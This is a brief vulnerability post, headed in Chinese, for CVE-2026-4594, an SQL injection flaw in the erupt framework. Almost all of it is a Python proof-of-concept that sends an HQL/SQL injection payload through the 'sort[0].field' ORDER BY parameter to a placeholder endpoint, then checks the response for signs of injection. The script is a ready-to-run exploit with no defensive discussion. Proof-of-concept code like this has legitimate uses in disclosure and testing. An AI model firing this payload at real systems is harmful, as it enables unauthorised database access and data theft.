CVE-2026-4594: erupt框架存在SQL注入漏洞

import requests # PoC for CVE-2026-4594: SQL Injection in erupt framework # Targeting the 'sort.field' parameter in EruptJpaUtils.java target_url = "http://vulnerable-target/api/erupt/data" # Malicious payload intended for HQL injection in ORDER BY clause # Adjust payload based on specific database syntax (H2, MySQL, etc.) payload = "id,(select case when (1=1) then 1 else (select 1 from (select 1)x) end)" params = { "sort[0].field": payload, "sort[0].order": "asc" } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("[+] Request sent successfully. Check for time delays or error messages indicating injection.") print(response.text[:200]) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")